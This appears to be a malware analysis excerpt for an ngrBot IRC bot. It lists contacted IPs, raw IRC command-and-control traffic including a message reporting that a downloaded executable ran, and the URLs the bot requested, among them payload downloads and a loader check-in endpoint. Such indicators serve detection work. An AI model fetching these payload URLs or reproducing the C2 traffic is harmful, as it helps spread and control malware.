Remote Host Port Number
199.15.234.7 80
46.105.241.231 80
50.16.220.121 80
46.105.241.231 6999 PASS
PRIVMSG #chan :[d=”http://dl.dropbox.com/s/1ckvkvltoyy73e1/link.exe” s=”56471 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.exe” – Download retries: 0
NICK n{US|XPa}pdrybps
USER pdrybps 0 0 :pdrybps
JOIN #chan ngrBot
* The data identified by the following URLs was then requested from the remote web server:
o http://api.wipmania.com/
o http://superwaffles.zapto.org/eliteloader/hide.dll
o http://superwaffles.zapto.org/eliteloader/doit.php?v=3&id=cd1a40-(null)
o http://dl.dropbox.com/s/qgwmni4ouhwgddc/ngrbin.exe
o http://dl.dropbox.com/s/1ckvkvltoyy73e1/link.exe
hosting infos:
http://whois.domaintools.com/46.105.241.231